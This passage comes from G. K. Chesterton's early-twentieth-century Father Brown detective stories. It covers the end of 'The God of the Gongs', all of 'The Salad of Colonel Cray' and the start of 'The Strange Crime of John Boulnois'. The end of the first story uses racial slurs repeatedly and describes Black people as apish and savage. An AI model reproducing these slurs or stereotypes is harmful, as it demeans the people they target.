+tilted on his head. "Huh!" he cried, showing his apish teeth. +"What this? Huh! Huh! You steal a coloured gentleman's prize-- +prize his already--yo' think yo' jes' save that white 'Talian trash--" + + "The matter is only deferred," said the nobleman quietly. +"I will be with you to explain in a minute or two." + + "Who you to--" shouted Nigger Ned, beginning to storm. + + "My name is Pooley," replied the other, with a creditable coolness. +"I am the organizing secretary, and I advise you just now +to leave the room." + + "Who this fellow?" demanded the dark champion, pointing to the +priest disdainfully. + + "My name is Brown," was the reply. "And I advise you just now +to leave the country." + + The prize-fighter stood glaring for a few seconds, and then, +rather to the surprise of Flambeau and the others, strode out, +sending the door to with a crash behind him. + + "Well," asked Father Brown rubbing his dusty hair up, +"what do you think of Leonardo da Vinci? A beautiful Italian head." + + "Look here," said Lord Pooley, "I've taken a considerable responsibility, +on your bare word. I think you ought to tell me more about this." + + "You are quite right, my lord," answered Brown. "And it won't take +long to tell." He put the little leather book in his overcoat pocket. +"I think we know all that this can tell us, but you shall look at it +to see if I'm right. That negro who has just swaggered out is one of +the most dangerous men on earth, for he has the brains of a European, +with the instincts of a cannibal. He has turned what was clean, +common-sense butchery among his fellow-barbarians into a very modern +and scientific secret society of assassins. He doesn't know I know it, +nor, for the matter of that, that I can't prove it." + + There was a silence, and the little man went on. + + "But if I want to murder somebody, will it really be the best plan +to make sure I'm alone with him?" + + Lord Pooley's eyes recovered their frosty twinkle as he +looked at the little clergyman. He only said: "If you want to +murder somebody, I should advise it." + + Father Brown shook his head, like a murderer of much riper experience. +"So Flambeau said," he replied, with a sigh. "But consider. +The more a man feels lonely the less he can be sure he is alone. +It must mean empty spaces round him, and they are just what +make him obvious. Have you never seen one ploughman from the heights, +or one shepherd from the valleys? Have you never walked along a cliff, +and seen one man walking along the sands? Didn't you know when he's +killed a crab, and wouldn't you have known if it had been a creditor? +No! No! No! For an intelligent murderer, such as you or I might be, +it is an impossible plan to make sure that nobody is looking at you." + + "But what other plan is there?" + + "There is only one," said the priest. "To make sure +that everybody is looking at something else. A man is throttled +close by the big stand at Epsom. Anybody might have seen it done +while the stand stood empty--any tramp under the hedges or motorist +among the hills. But nobody would have seen it when the stand +was crowded and the whole ring roaring, when the favourite was +coming in first--or wasn't. The twisting of a neck-cloth, +the thrusting of a body behind a door could be done in an instant-- +so long as it was that instant. It was the same, of course," +he continued turning to Flambeau, "with that poor fellow +under the bandstand. He was dropped through the hole (it wasn't +an accidental hole) just at some very dramatic moment of the entertainment, +when the bow of some great violinist or the voice of some great singer +opened or came to its climax. And here, of course, when the knock-out +blow came--it would not be the only one. That is the little trick +Nigger Ned has adopted from his old God of Gongs." + + "By the way, Malvoli--" Pooley began. + + "Malvoli," said the priest, "has nothing to do with it. +I dare say he has some Italians with him, but our amiable friends +are not Italians. They are octoroons and African half-bloods +of various shades, but I fear we English think all foreigners +are much the same so long as they are dark and dirty. Also," +he added, with a smile, "I fear the English decline to draw +any fine distinction between the moral character produced by my religion +and that which blooms out of Voodoo." + + The blaze of the spring season had burst upon Seawood, +littering its foreshore with famines and bathing-machines, +with nomadic preachers and nigger minstrels, before the two friends +saw it again, and long before the storm of pursuit after the strange +secret society had died away. Almost on every hand the secret +of their purpose perished with them. The man of the hotel was found +drifting dead on the sea like so much seaweed; his right eye was +closed in peace, but his left eye was wide open, and glistened like glass +in the moon. Nigger Ned had been overtaken a mile or two away, +and murdered three policemen with his closed left hand. +The remaining officer was surprised--nay, pained--and the negro got away. +But this was enough to set all the English papers in a flame, +and for a month or two the main purpose of the British Empire was +to prevent the buck nigger (who was so in both senses) escaping by any +English port. Persons of a figure remotely reconcilable with his +were subjected to quite extraordinary inquisitions, made to scrub +their faces before going on board ship, as if each white complexion +were made up like a mask, of greasepaint. Every negro in England +was put under special regulations and made to report himself; +the outgoing ships would no more have taken a nigger than a basilisk. +For people had found out how fearful and vast and silent was +the force of the savage secret society, and by the time Flambeau and +Father Brown were leaning on the parade parapet in April, the Black Man +meant in England almost what he once meant in Scotland. + + "He must be still in England," observed Flambeau, "and horridly +well hidden, too. They must have found him at the ports if he had +only whitened his face." + + "You see, he is really a clever man," said Father Brown +apologetically. "And I'm sure he wouldn't whiten his face." + + "Well, but what would he do?" + + "I think," said Father Brown, "he would blacken his face." + + Flambeau, leaning motionless on the parapet, laughed and said: +"My dear fellow!" + + Father Brown, also leaning motionless on the parapet, moved one finger +for an instant into the direction of the soot-masked niggers singing +on the sands. + + + + + TEN + + + The Salad of Colonel Cray + + +FATHER BROWN was walking home from Mass on a white weird morning +when the mists were slowly lifting--one of those mornings when +the very element of light appears as something mysterious and new. +The scattered trees outlined themselves more and more out of the vapour, +as if they were first drawn in grey chalk and then in charcoal. +At yet more distant intervals appeared the houses upon the broken fringe +of the suburb; their outlines became clearer and clearer until +he recognized many in which he had chance acquaintances, and many more +the names of whose owners he knew. But all the windows and doors +were sealed; none of the people were of the sort that would be up +at such a time, or still less on such an errand. But as he passed under +the shadow of one handsome villa with verandas and wide ornate gardens, +he heard a noise that made him almost involuntarily stop. +It was the unmistakable noise of a pistol or carbine or some +light firearm discharged; but it was not this that puzzled him most. +The first full noise was immediately followed by a series of fainter noises-- +as he counted them, about six. He supposed it must be the echo; +but the odd thing was that the echo was not in the least like +the original sound. It was not like anything else that he could think of; +the three things nearest to it seemed to be the noise made by +siphons of soda-water, one of the many noises made by an animal, +and the noise made by a person attempting to conceal laughter. +None of which seemed to make much sense. + + Father Brown was made of two men. There was a man of action, +who was as modest as a primrose and as punctual as a clock; +who went his small round of duties and never dreamed of altering it. +There was also a man of reflection, who was much simpler but much stronger, +who could not easily be stopped; whose thought was always (in the only +intelligent sense of the words) free thought. He could not help, +even unconsciously, asking himself all the questions that +there were to be asked, and answering as many of them as he could; +all that went on like his breathing or circulation. But he never +consciously carried his actions outside the sphere of his own duty; +and in this case the two attitudes were aptly tested. He was just about +to resume his trudge in the twilight, telling himself it was no affair +of his, but instinctively twisting and untwisting twenty theories +about what the odd noises might mean. Then the grey sky-line +brightened into silver, and in the broadening light he realized +that he had been to the house which belonged to an Anglo-Indian Major +named Putnam; and that the Major had a native cook from Malta who was +of his communion. He also began to remember that pistol-shots +are sometimes serious things; accompanied with consequences with which +he was legitimately concerned. He turned back and went in +at the garden gate, making for the front door. + + Half-way down one side of the house stood out a projection +like a very low shed; it was, as he afterwards discovered, +a large dustbin. Round the corner of this came a figure, +at first a mere shadow in the haze, apparently bending and peering about. +Then, coming nearer, it solidified into a figure that was, indeed, +rather unusually solid. Major Putnam was a bald-headed, bull-necked man, +short and very broad, with one of those rather apoplectic faces +that are produced by a prolonged attempt to combine the oriental climate +with the occidental luxuries. But the face was a good-humoured one, +and even now, though evidently puzzled and inquisitive, wore a kind of +innocent grin. He had a large palm-leaf hat on the back of his head +(suggesting a halo that was by no means appropriate to the face), +but otherwise he was clad only in a very vivid suit of striped scarlet +and yellow pyjamas; which, though glowing enough to behold, must have been, +on a fresh morning, pretty chilly to wear. He had evidently +come out of his house in a hurry, and the priest was not surprised +when he called out without further ceremony: "Did you hear that noise?" + + "Yes," answered Father Brown; "I thought I had better look in, +in case anything was the matter." + + The Major looked at him rather queerly with his good-humoured +gooseberry eyes. "What do you think the noise was?" he asked. + + "It sounded like a gun or something," replied the other, +with some hesitation; "but it seemed to have a singular sort of echo." + + The Major was still looking at him quietly, but with protruding eyes, +when the front door was flung open, releasing a flood of gaslight +on the face of the fading mist; and another figure in pyjamas sprang +or tumbled out into the garden. The figure was much longer, leaner, +and more athletic; the pyjamas, though equally tropical, were +comparatively tasteful, being of white with a light lemon-yellow stripe. +The man was haggard, but handsome, more sunburned than the other; +he had an aquiline profile and rather deep-sunken eyes, and a slight air +of oddity arising from the combination of coal-black hair with +a much lighter moustache. All this Father Brown absorbed in detail +more at leisure. For the moment he only saw one thing about the man; +which was the revolver in his hand. + + "Cray!" exclaimed the Major, staring at him; "did you fire that shot?" + + "Yes, I did," retorted the black-haired gentleman hotly; +"and so would you in my place. If you were chased everywhere +by devils and nearly--" + + The Major seemed to intervene rather hurriedly. "This is my friend +Father Brown," he said. And then to Brown: "I don't know whether +you've met Colonel Cray of the Royal Artillery." + + "I have heard of him, of course," said the priest innocently. +"Did you--did you hit anything?" + + "I thought so," answered Cray with gravity. + + "Did he--" asked Major Putnam in a lowered voice, "did he fall +or cry out, or anything?" + + Colonel Cray was regarding his host with a strange and steady stare. +"I'll tell you exactly what he did," he said. "He sneezed." + + Father Brown's hand went half-way to his head, with the gesture +of a man remembering somebody's name. He knew now what it was +that was neither soda-water nor the snorting of a dog. + + "Well," ejaculated the staring Major, "I never heard before +that a service revolver was a thing to be sneezed at." + + "Nor I," said Father Brown faintly. "It's lucky you didn't +turn your artillery on him or you might have given him quite a bad cold." +Then, after a bewildered pause, he said: "Was it a burglar?" + + "Let us go inside," said Major Putnam, rather sharply, +and led the way into his house. + + The interior exhibited a paradox often to be marked in such +morning hours: that the rooms seemed brighter than the sky outside; +even after the Major had turned out the one gaslight in the front hall. +Father Brown was surprised to see the whole dining-table set out +as for a festive meal, with napkins in their rings, and wine-glasses +of some six unnecessary shapes set beside every plate. It was common enough, +at that time of the morning, to find the remains of a banquet over-night; +but to find it freshly spread so early was unusual. + + While he stood wavering in the hall Major Putnam rushed past him +and sent a raging eye over the whole oblong of the tablecloth. +At last he spoke, spluttering: "All the silver gone!" he gasped. +"Fish-knives and forks gone. Old cruet-stand gone. Even the old silver +cream-jug gone. And now, Father Brown, I am ready to answer your question +of whether it was a burglar." + + "They're simply a blind," said Cray stubbornly. "I know better +than you why people persecute this house; I know better than you why--" + + The Major patted him on the shoulder with a gesture almost peculiar +to the soothing of a sick child, and said: "It was a burglar. +Obviously it was a burglar." + + "A burglar with a bad cold," observed Father Brown, "that might +assist you to trace him in the neighbourhood." + + The Major shook his head in a sombre manner. "He must be far beyond +trace now, I fear," he said. + + Then, as the restless man with the revolver turned again towards +the door in the garden, he added in a husky, confidential voice: +"I doubt whether I should send for the police, for fear my friend here +has been a little too free with his bullets, and got on the wrong side +of the law. He's lived in very wild places; and, to be frank with you, +I think he sometimes fancies things." + + "I think you once told me," said Brown, "that he believes some +Indian secret society is pursuing him." + + Major Putnam nodded, but at the same time shrugged his shoulders. +"I suppose we'd better follow him outside," he said. "I don't want +any more--shall we say, sneezing?" + + They passed out into the morning light, which was now even tinged +with sunshine, and saw Colonel Cray's tall figure bent almost double, +minutely examining the condition of gravel and grass. While the Major +strolled unobtrusively towards him, the priest took an equally +indolent turn, which took him round the next corner of the house +to within a yard or two of the projecting dustbin. + + He stood regarding this dismal object for some minute and a half--, +then he stepped towards it, lifted the lid and put his head inside. +Dust and other discolouring matter shook upwards as he did so; +but Father Brown never observed his own appearance, whatever else +he observed. He remained thus for a measurable period, as if engaged +in some mysterious prayers. Then he came out again, with some ashes +on his hair, and walked unconcernedly away. + + By the time he came round to the garden door again he found +a group there which seemed to roll away morbidities as the sunlight +had already rolled away the mists. It was in no way rationally reassuring; +it was simply broadly comic, like a cluster of Dickens's characters. +Major Putnam had managed to slip inside and plunge into a proper shirt and +trousers, with a crimson cummerbund, and a light square jacket over all; +thus normally set off, his red festive face seemed bursting with +a commonplace cordiality. He was indeed emphatic, but then he was talking +to his cook--the swarthy son of Malta, whose lean, yellow and rather +careworn face contrasted quaintly with his snow-white cap and costume. +The cook might well be careworn, for cookery was the Major's hobby. +He was one of those amateurs who always know more than the professional. +The only other person he even admitted to be a judge of an omelette +was his friend Cray--and as Brown remembered this, he turned to look +for the other officer. In the new presence of daylight and people clothed +and in their right mind, the sight of him was rather a shock. +The taller and more elegant man was still in his night-garb, +with tousled black hair, and now crawling about the garden on his hands +and knees, still looking for traces of the burglar; and now and again, +to all appearance, striking the ground with his hand in anger at not +finding him. Seeing him thus quadrupedal in the grass, the priest +raised his eyebrows rather sadly; and for the first time guessed that +"fancies things" might be an euphemism. + + The third item in the group of the cook and the epicure was also +known to Father Brown; it was Audrey Watson, the Major's ward +and housekeeper; and at this moment, to judge by her apron, +tucked-up sleeves and resolute manner, much more the housekeeper +than the ward. + + "It serves you right," she was saying: "I always told you +not to have that old-fashioned cruet-stand." + + "I prefer it," said Putnam, placably. "I'm old-fashioned myself; +and the things keep together." + + "And vanish together, as you see," she retorted. "Well, if you are +not going to bother about the burglar, I shouldn't bother about the lunch. +It's Sunday, and we can't send for vinegar and all that in the town; +and you Indian gentlemen can't enjoy what you call a dinner without +a lot of hot things. I wish to goodness now you hadn't asked +Cousin Oliver to take me to the musical service. It isn't over +till half-past twelve, and the Colonel has to leave by then. +I don't believe you men can manage alone." + + "Oh yes, we can, my dear," said the Major, looking at her +very amiably. "Marco has all the sauces, and we've often +done ourselves well in very rough places, as you might know by now. +And it's time you had a treat, Audrey; you mustn't be a housekeeper +every hour of the day; and I know you want to hear the music." + + "I want to go to church," she said, with rather severe eyes. + + She was one of those handsome women who will always be handsome, +because the beauty is not in an air or a tint, but in the very structure +of the head and features. But though she was not yet middle-aged +and her auburn hair was of a Titianesque fullness in form and colour, +there was a look in her mouth and around her eyes which suggested that +some sorrows wasted her, as winds waste at last the edges of a Greek temple. +For indeed the little domestic difficulty of which she was now speaking +so decisively was rather comic than tragic. Father Brown gathered, +from the course of the conversation, that Cray, the other gourmet, +had to leave before the usual lunch-time; but that Putnam, his host, +not to be done out of a final feast with an old crony, had arranged +for a special dejeuner to be set out and consumed in the course of +the morning, while Audrey and other graver persons were at morning service. +She was going there under the escort of a relative and old friend of hers, +Dr Oliver Oman, who, though a scientific man of a somewhat bitter type, +was enthusiastic for music, and would go even to church to get it. +There was nothing in all this that could conceivably concern +the tragedy in Miss Watson's face; and by a half conscious instinct, +Father Brown turned again to the seeming lunatic grubbing about +in the grass. + + When he strolled across to him, the black, unbrushed head was +lifted abruptly, as if in some surprise at his continued presence. +And indeed, Father Brown, for reasons best known to himself, +had lingered much longer than politeness required; or even, +in the ordinary sense, permitted. + + "Well!" cried Cray, with wild eyes. "I suppose you think I'm mad, +like the rest?" + + "I have considered the thesis," answered the little man, composedly. +"And I incline to think you are not." + + "What do you mean?" snapped Cray quite savagely. + + "Real madmen," explained Father Brown, "always encourage their +own morbidity. They never strive against it. But you are trying +to find traces of the burglar; even when there aren't any. +You are struggling against it. You want what no madman ever wants." + + "And what is that?" + + "You want to be proved wrong," said Brown. + + During the last words Cray had sprung or staggered to his feet +and was regarding the cleric with agitated eyes. "By hell, +but that is a true word!" he cried. "They are all at me here +that the fellow was only after the silver--as if I shouldn't be +only too pleased to think so! She's been at me," and he tossed his tousled +black head towards Audrey, but the other had no need of the direction, +"she's been at me today about how cruel I was to shoot a poor harmless +house-breaker, and how I have the devil in me against poor harmless natives. +But I was a good-natured man once--as good-natured as Putnam." + + After a pause he said: "Look here, I've never seen you before; +but you shall judge of the whole story. Old Putnam and I were friends +in the same mess; but, owing to some accidents on the Afghan border, +I got my command much sooner than most men; only we were both +invalided home for a bit. I was engaged to Audrey out there; +and we all travelled back together. But on the journey back +things happened. Curious things. The result of them was +that Putnam wants it broken off, and even Audrey keeps it hanging on-- +and I know what they mean. I know what they think I am. So do you. + + "Well, these are the facts. The last day we were in +an Indian city I asked Putnam if I could get some Trichinopoli cigars, +he directed me to a little place opposite his lodgings. +I have since found he was quite right; but `opposite' is a dangerous word +when one decent house stands opposite five or six squalid ones; +and I must have mistaken the door. It opened with difficulty, +and then only on darkness; but as I turned back, the door behind me +sank back and settled into its place with a noise as of innumerable bolts. +There was nothing to do but to walk forward; which I did through +passage after passage, pitch-dark. Then I came to a flight of steps, +and then to a blind door, secured by a latch of elaborate Eastern ironwork, +which I could only trace by touch, but which I loosened at last. +I came out again upon gloom, which was half turned into +a greenish twilight by a multitude of small but steady lamps below. +They showed merely the feet or fringes of some huge and empty architecture. +Just in front of me was something that looked like a mountain. +I confess I nearly fell on the great stone platform on which I had emerged, +to realize that it was an idol. And worst of all, an idol with +its back to me. + + "It was hardly half human, I guessed; to judge by the small squat head, +and still more by a thing like a tail or extra limb turned up behind +and pointing, like a loathsome large finger, at some symbol graven +in the centre of the vast stone back. I had begun, in the dim light, +to guess at the hieroglyphic, not without horror, when a more horrible +thing happened. A door opened silently in the temple wall +behind me and a man came out, with a brown face and a black coat. +He had a carved smile on his face, of copper flesh and ivory teeth; +but I think the most hateful thing about him was that he was +in European dress. I was prepared, I think, for shrouded priests +or naked fakirs. But this seemed to say that the devilry was +over all the earth. As indeed I found it to be. + + "`If you had only seen the Monkey's Feet,' he said, smiling steadily, +and without other preface, `we should have been very gentle-- +you would only be tortured and die. If you had seen the Monkey's Face, +still we should be very moderate, very tolerant--you would only +be tortured and live. But as you have seen the Monkey's Tail, +we must pronounce the worst sentence. which is--Go Free.' + + "When he said the words I heard the elaborate iron latch with +which I had struggled, automatically unlock itself: and then, +far down the dark passages I had passed, I heard the heavy street-door +shifting its own bolts backwards. + + "`It is vain to ask for mercy; you must go free,' said +the smiling man. `Henceforth a hair shall slay you like a sword, +and a breath shall bite you like an adder; weapons shall come +against you out of nowhere; and you shall die many times.' +And with that he was swallowed once more in the wall behind; +and I went out into the street." + + Cray paused; and Father Brown unaffectedly sat down on the lawn +and began to pick daisies. + + Then the soldier continued: "Putnam, of course, with his +jolly common sense, pooh-poohed all my fears; and from that time +dates his doubt of my mental balance. Well, I'll simply tell you, +in the fewest words, the three things that have happened since; +and you shall judge which of us is right. + + "The first happened in an Indian village on the edge of the jungle, +but hundreds of miles from the temple, or town, or type of tribes +and customs where the curse had been put on me. I woke in black midnight, +and lay thinking of nothing in particular, when I felt a faint +tickling thing, like a thread or a hair, trailed across my throat. +I shrank back out of its way, and could not help thinking of the words +in the temple. But when I got up and sought lights and a mirror, +the line across my neck was a line of blood. + + "The second happened in a lodging in Port Said, later, +on our journey home together. It was a jumble of tavern +and curiosity-shop; and though there was nothing there remotely suggesting +the cult of the Monkey, it is, of course, possible that some of its +images or talismans were in such a place. Its curse was there, anyhow. +I woke again in the dark with a sensation that could not be put +in colder or more literal words than that a breath bit like an adder. +Existence was an agony of extinction; I dashed my head against walls +until I dashed it against a window; and fell rather than jumped +into the garden below. Putnam, poor fellow, who had called the other thing +a chance scratch, was bound to take seriously the fact of finding me +half insensible on the grass at dawn. But I fear it was my mental state +he took seriously; and not my story. + + "The third happened in Malta. We were in a fortress there; +and as it happened our bedrooms overlooked the open sea, which almost +came up to our window-sills, save for a flat white outer wall +as bare as the sea. I woke up again; but it was not dark. +There was a full moon, as I walked to the window; I could have seen a bird +on the bare battlement, or a sail on the horizon. What I did see +was a sort of stick or branch circling, self-supported, in the empty sky. +It flew straight in at my window and smashed the lamp beside the pillow +I had just quitted. It was one of those queer-shaped war-clubs +some Eastern tribes use. But it had come from no human hand." + + Father Brown threw away a daisy-chain he was making, +and rose with a wistful look. "Has Major Putnam," he asked, +"got any Eastern curios, idols, weapons and so on, from which +one might get a hint?" + + "Plenty of those, though not much use, I fear," replied Cray; +"but by all means come into his study." + + As they entered they passed Miss Watson buttoning her gloves for church, +and heard the voice of Putnam downstairs still giving a lecture on cookery +to the cook. In the Major's study and den of curios they came suddenly +on a third party, silk-hatted and dressed for the street, who was +poring over an open book on the smoking-table--a book which he dropped +rather guiltily, and turned. + + Cray introduced him civilly enough, as Dr Oman, but he showed +such disfavour in his very face that Brown guessed the two men, +whether Audrey knew it or not, were rivals. Nor was the priest +wholly unsympathetic with the prejudice. Dr Oman was a very well-dressed +gentleman indeed; well-featured, though almost dark enough for an Asiatic. +But Father Brown had to tell himself sharply that one should be in charity +even with those who wax their pointed beards, who have small gloved hands, +and who speak with perfectly modulated voices. + + Cray seemed to find something specially irritating in +the small prayer-book in Oman's dark-gloved hand. "I didn't know +that was in your line," he said rather rudely. + + Oman laughed mildly, but without offence. "This is more so, I know," +he said, laying his hand on the big book he had dropped, +"a dictionary of drugs and such things. But it's rather too large +to take to church." Then he closed the larger book, and there seemed +again the faintest touch of hurry and embarrassment. + + "I suppose," said the priest, who seemed anxious to change the subject, +"all these spears and things are from India?" + + "From everywhere," answered the doctor. "Putnam is an old soldier, +and has been in Mexico and Australia, and the Cannibal Islands +for all I know." + + "I hope it was not in the Cannibal Islands," said Brown, +"that he learnt the art of cookery." And he ran his eyes over +the stew-pots or other strange utensils on the wall. + + At this moment the jolly subject of their conversation +thrust his laughing, lobsterish face into the room. "Come along, Cray," +he cried. "Your lunch is just coming in. And the bells are ringing +for those who want to go to church." + + Cray slipped upstairs to change; Dr Oman and Miss Watson betook +themselves solemnly down the street, with a string of other churchgoers; +but Father Brown noticed that the doctor twice looked back +and scrutinized the house; and even came back to the corner of the street +to look at it again. + + The priest looked puzzled. "He can't have been at the dustbin," +he muttered. "Not in those clothes. Or was he there earlier today?" + + Father Brown, touching other people, was as sensitive as a barometer; +but today he seemed about as sensitive as a rhinoceros. By no social law, +rigid or implied, could he be supposed to linger round the lunch +of the Anglo-Indian friends; but he lingered, covering his position +with torrents of amusing but quite needless conversation. +He was the more puzzling because he did not seem to want any lunch. +As one after another of the most exquisitely balanced kedgerees of curries, +accompanied with their appropriate vintages, were laid before +the other two, he only repeated that it was one of his fast-days, +and munched a piece of bread and sipped and then left untasted +a tumbler of cold water. His talk, however, was exuberant. + + "I'll tell you what I'll do for you," he cried--, "I'll mix you +a salad! I can't eat it, but I'll mix it like an angel! +You've got a lettuce there." + + "Unfortunately it's the only thing we have got," answered +the good-humoured Major. "You must remember that mustard, vinegar, +oil and so on vanished with the cruet and the burglar." + + "I know," replied Brown, rather vaguely. "That's what I've always +been afraid would happen. That's why I always carry a cruet-stand +about with me. I'm so fond of salads." + + And to the amazement of the two men he took a pepper-pot out of +his waistcoat pocket and put it on the table. + + "I wonder why the burglar wanted mustard, too," he went on, +taking a mustard-pot from another pocket. "A mustard plaster, +I suppose. And vinegar"--and producing that condiment-- +"haven't I heard something about vinegar and brown paper? +As for oil, which I think I put in my left--" + + His garrulity was an instant arrested; for lifting his eyes, +he saw what no one else saw--the black figure of Dr Oman standing +on the sunlit lawn and looking steadily into the room. Before he could +quite recover himself Cray had cloven in. + + "You're an astounding card," he said, staring. "I shall come +and hear your sermons, if they're as amusing as your manners." +His voice changed a little, and he leaned back in his chair. + + "Oh, there are sermons in a cruet-stand, too," said Father Brown, +quite gravely. "Have you heard of faith like a grain of mustard-seed; +or charity that anoints with oil? And as for vinegar, can any soldiers +forget that solitary soldier, who, when the sun was darkened--" + + Colonel Cray leaned forward a little and clutched the tablecloth. + + Father Brown, who was making the salad, tipped two spoonfuls +of the mustard into the tumbler of water beside him; stood up and said +in a new, loud and sudden voice--"Drink that!" + + At the same moment the motionless doctor in the garden came running, +and bursting open a window cried: "Am I wanted? Has he been poisoned?" + + "Pretty near," said Brown, with the shadow of a smile; for +the emetic had very suddenly taken effect. And Cray lay in a deck-chair, +gasping as for life, but alive. + + Major Putnam had sprung up, his purple face mottled. "A crime!" +he cried hoarsely. "I will go for the police!" + + The priest could hear him dragging down his palm-leaf hat from the peg +and tumbling out of the front door; he heard the garden gate slam. +But he only stood looking at Cray; and after a silence said quietly: + + "I shall not talk to you much; but I will tell you what +you want to know. There is no curse on you. The Temple of the Monkey +was either a coincidence or a part of the trick; the trick was +the trick of a white man. There is only one weapon that will bring blood +with that mere feathery touch: a razor held by a white man. +There is one way of making a common room full of invisible, +overpowering poison: turning on the gas--the crime of a white man. +And there is only one kind of club that can be thrown out of a window, +turn in mid-air and come back to the window next to it: +the Australian boomerang. You'll see some of them in the Major's study." + + With that he went outside and spoke for a moment to the doctor. +The moment after, Audrey Watson came rushing into the house and +fell on her knees beside Cray's chair. He could not hear what they said +to each other; but their faces moved with amazement, not unhappiness. +The doctor and the priest walked slowly towards the garden gate. + + "I suppose the Major was in love with her, too," he said with a sigh; +and when the other nodded, observed: "You were very generous, doctor. +You did a fine thing. But what made you suspect?" + + "A very small thing," said Oman; "but it kept me restless in church +till I came back to see that all was well. That book on his table +was a work on poisons; and was put down open at the place where it stated +that a certain Indian poison, though deadly and difficult to trace, +was particularly easily reversible by the use of the commonest emetics. +I suppose he read that at the last moment--" + + "And remembered that there were emetics in the cruet-stand," +said Father Brown. "Exactly. He threw the cruet in the dustbin-- +where I found it, along with other silver--for the sake of +a burglary blind. But if you look at that pepper-pot I put on the table, +you'll see a small hole. That's where Cray's bullet struck, +shaking up the pepper and making the criminal sneeze." + + There was a silence. Then Dr Oman said grimly: "The Major is +a long time looking for the police." + + "Or the police in looking for the Major?" said the priest. +"Well, good-bye." + + + + + ELEVEN + + + The Strange Crime of John Boulnois + + +MR CALHOUN KIDD was a very young gentleman with a very old face, +a face dried up with its own eagerness, framed in blue-black hair +and a black butterfly tie. He was the emissary in England +of the colossal American daily called the Western Sun-- +also humorously described as the "Rising Sunset". This was in allusion +to a great journalistic declaration (attributed to Mr Kidd himself) +that "he guessed the sun would rise in the west yet, if American citizens +did a bit more hustling." Those, however, who mock American journalism +from the standpoint of somewhat mellower traditions forget +a certain paradox which partly redeems it. For while the journalism +of the States permits a pantomimic vulgarity long past anything English, +it also shows a real excitement about the most earnest mental problems, +of which English papers are innocent, or rather incapable. +The Sun was full of the most solemn matters treated in the most +farcical way. William James figured there as well as "Weary Willie," +and pragmatists alternated with pugilists in the long procession +of its portraits. + + Thus, when a very unobtrusive Oxford man named John Boulnois +wrote in a very unreadable review called the Natural Philosophy Quarterly +a series of articles on alleged weak points in Darwinian evolution, +it fluttered no corner of the English papers; though Boulnois's theory +(which was that of a comparatively stationary universe visited occasionally +by convulsions of change) had some rather faddy fashionableness at Oxford, +and got so far as to be named "Catastrophism". But many American papers +seized on the challenge as a great event; and the Sun threw +the shadow of Mr Boulnois quite gigantically across its pages. +By the paradox already noted, articles of valuable intelligence and +enthusiasm were presented with headlines apparently written +by an illiterate maniac, headlines such as "Darwin Chews Dirt; +Critic Boulnois says He Jumps the Shocks"--or "Keep Catastrophic, +says Thinker Boulnois." And Mr Calhoun Kidd, of the Western Sun, +was bidden to take his butterfly tie and lugubrious visage down to +the little house outside Oxford where Thinker Boulnois lived +in happy ignorance of such a title. + + That fated philosopher had consented, in a somewhat dazed manner, +to receive the interviewer, and had named the hour of nine that evening. +The last of a summer sunset clung about Cumnor and the low wooded hills; +the romantic Yankee was both doubtful of his road and inquisitive +about his surroundings; and seeing the door of a genuine feudal +old-country inn, The Champion Arms, standing open, he went in +to make inquiries. + + In the bar parlour he rang the bell, and had to wait +some little time for a reply to it. The only other person present +was a lean man with close red hair and loose, horsey-looking clothes, +who was drinking very bad whisky, but smoking a very good cigar. +The whisky, of course, was the choice brand of The Champion Arms; +the cigar he had probably brought with him from London. +Nothing could be more different than his cynical negligence from +the dapper dryness of the young American; but something in his pencil +and open notebook, and perhaps in the expression of his alert blue eye, +caused Kidd to guess, correctly, that he was a brother journalist. + + "Could you do me the favour," asked Kidd, with the courtesy of +his nation, "of directing me to the Grey Cottage, where Mr Boulnois lives, +as I understand?" + + "It's a few yards down the road," said the red-haired man, +removing his cigar; "I shall be passing it myself in a minute, +but I'm going on to Pendragon Park to try and see the fun." + + "What is Pendragon Park?" asked Calhoun Kidd. + + "Sir Claude Champion's place--haven't you come down for that, too?" +asked the other pressman, looking up. "You're a journalist, aren't you?" + + "I have come to see Mr Boulnois," said Kidd. + + "I've come to see Mrs Boulnois," replied the other. +"But I shan't catch her at home." And he laughed rather unpleasantly. + + "Are you interested in Catastrophism?" asked the wondering Yankee. + + "I'm interested in catastrophes; and there are going to be some," +replied his companion gloomily. "Mine's a filthy trade, +and I never pretend it isn't." + + With that he spat on the floor; yet somehow in the very act and +instant one could realize that the man had been brought up as a gentleman. + + The American pressman considered him with more attention. +His face was pale and dissipated, with the promise of formidable passions +yet to be loosed; but it was a clever and sensitive face; his clothes +were coarse and careless, but he had a good seal ring on one of his long, +thin fingers. His name, which came out in the course of talk, +was James Dalroy; he was the son of a bankrupt Irish landlord, +and attached to a pink paper which he heartily despised, called +Smart Society, in the capacity of reporter and of something +painfully like a spy. + + Smart Society, I regret to say, felt none of that interest in +Boulnois on Darwin which was such a credit to the head and hearts of +the Western Sun. Dalroy had come down, it seemed, to snuff up +the scent of a scandal which might very well end in the Divorce Court, +but which was at present hovering between Grey Cottage and Pendragon Park. + + Sir Claude Champion was known to the readers of the Western Sun +as well as Mr Boulnois. So were the Pope and the Derby Winner; +but the idea of their intimate acquaintanceship would have struck Kidd +as equally incongruous. He had heard of (and written about, +nay, falsely pretended to know) Sir Claude Champion, as +"one of the brightest and wealthiest of England's Upper Ten"; +as the great sportsman who raced yachts round the world; +as the great traveller who wrote books about the Himalayas, +as the politician who swept constituencies with a startling sort of +Tory Democracy, and as the great dabbler in art, music, literature, +and, above all, acting. Sir Claude was really rather magnificent in +other than American eyes. There was something of the Renascence Prince +about his omnivorous culture and restless publicity--, he was not only +a great amateur, but an ardent one. There was in him none of that +antiquarian frivolity that we convey by the word "dilettante". + + That faultless falcon profile with purple-black Italian eye, +which had been snap-shotted so often both for Smart Society and +the Western Sun, gave everyone the impression of a man eaten by ambition +as by a fire, or even a disease. But though Kidd knew a great deal +about Sir Claude--a great deal more, in fact, than there was to know-- +it would never have crossed his wildest dreams to connect so showy +an aristocrat with the newly-unearthed founder of Catastrophism, +or to guess that Sir Claude Champion and John Boulnois could be +intimate friends. Such, according to Dalroy's account, +was nevertheless the fact. The two had hunted in couples at school +and college, and, though their social destinies had been very different +(for Champion was a great landlord and almost a millionaire, +while Boulnois was a poor scholar and, until just lately, +an unknown one), they still kept in very close touch with each other. +Indeed, Boulnois's cottage stood just outside the gates of Pendragon Park. + + But whether the two men could be friends much longer was becoming +a dark and ugly question. A year or two before, Boulnois had married +a beautiful and not unsuccessful actress, to whom he was devoted +in his own shy and ponderous style; and the proximity of the household +to Champion's had given that flighty celebrity opportunities for behaving +in a way that could not but cause painful and rather 